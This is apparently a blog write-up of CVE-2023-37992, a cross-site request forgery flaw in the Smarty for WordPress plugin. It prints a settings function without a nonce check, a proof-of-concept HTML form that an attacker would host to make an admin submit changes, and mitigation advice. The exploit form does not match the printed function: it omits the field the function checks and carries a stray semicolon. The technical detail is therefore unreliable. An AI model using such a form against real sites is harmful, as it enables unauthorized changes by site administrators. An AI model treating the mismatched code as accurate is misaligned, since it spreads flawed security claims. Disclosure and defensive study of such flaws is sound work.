CVE-2023-37992: Exploiting the Cross-Site Request Forgery (CSRF) Vulnerability in PressPage Entertainment Inc. Smarty for WordPress Plugin (<= 3.1.35 Versions)

Hello readers! Today, we are going to discuss the details of a new vulnerability, CVE-2023-37992, and how it affects the PressPage Entertainment Inc. Smarty for WordPress plugin in versions 3.1.35 and below. We will cover its technical details, linking to original references, and showcase some code snippets to help illustrate how this exploit can be taken advantage of by attackers.

CVE-2023-37992 – A Brief Summary

This vulnerability is a Cross-Site Request Forgery (CSRF) exploit and affects the Smarty for WordPress plugin developed by PressPage Entertainment Inc. The versions of the plugin impacted range up to and include 3.1.35. To get an understanding of the magnitude of this issue, refer to the official CVE record:

- CVE-2023-37992 on MITRE
- CVE-2023-37992 on NVD

How CSRF Works and Why It's Dangerous

Cross-Site Request Forgery (CSRF) is a type of web-based exploit where an attacker can force an unsuspecting user to perform specific actions on a website without their knowledge or consent. This typically occurs when an attacker unknowingly tricks a user into clicking a malicious link or visiting a webpage while they are authenticated on the target website. As a result, the attacker can send requests to perform actions on behalf of the logged-in user. Examples of these actions could be changing the user's email address, adding another administrator to the WordPress site, or even deleting the entire site.

How CVE-2023-37992 Affects the Smarty for WordPress Plugin

The Smarty for WordPress plugin (<= 3.1.35 versions) lacks proper CSRF protection, which means that the plugin does not validate incoming requests to ensure that they originate from trusted sources. Because of this vulnerability, an attacker can target plugin settings and other actions with a CSRF attack.

Here's a code snippet example that showcases the lack of CSRF protection in the plugin (using the save_settings() function):

function save_settings() {
   if (isset($_POST['update'])) {
      update_option('smarty_options', $_POST['smarty_options']);
      ?><!--<div class="updated"><p><strong><?php _e('settings saved.', 'menu-test' ); ?></strong></p></div>--><?php
   }
}

As seen in the code snippet above, the function does not check for any nonce or CSRF token before updating the setting. This makes it potentially susceptible to CSRF attacks.

Exploiting the Vulnerability

An attacker looking to take advantage of this vulnerability would start by crafting a malicious webpage that includes a form similar to the one below:

<form action="http://target-website.com/wp-admin/admin-post.php"; method="POST">
<input type="hidden" name="action" value="my_plugin_action">
<input type="hidden" name="mime_type" value="text/html">
<input type="text" name="smarty_options" value="">
<input type="submit" value="Submit">
</form>

Next, the attacker would trick an authenticated user (ideally, an administrator) into visiting this malicious webpage and clicking the "Submit" button. This would send a request with the attacker's desired values, effectively allowing them to perform actions on the targeted website.

Recommended Mitigation Steps

If you are currently using the Smarty for WordPress plugin (<= 3.1.35 versions) on your website, it is highly recommended to take the following steps to protect against this CSRF vulnerability:

Update to the latest version of the plugin (if available).

2. If updating is not possible, temporarily disable the plugin until a patch or fix is released by the developer.
3. Implement CSRF protection in the plugin code using nonces and enforcing their validation upon processing requests.

Stay safe and be sure to keep your plugins up-to-date to avoid potential vulnerabilities and exploits. Feel free to share your experiences and thoughts in the comments section below. Happy browsing!

Timeline

Published on: 10/03/2023 10:15:10 UTC
Last modified on: 10/04/2023 17:13:37 UTC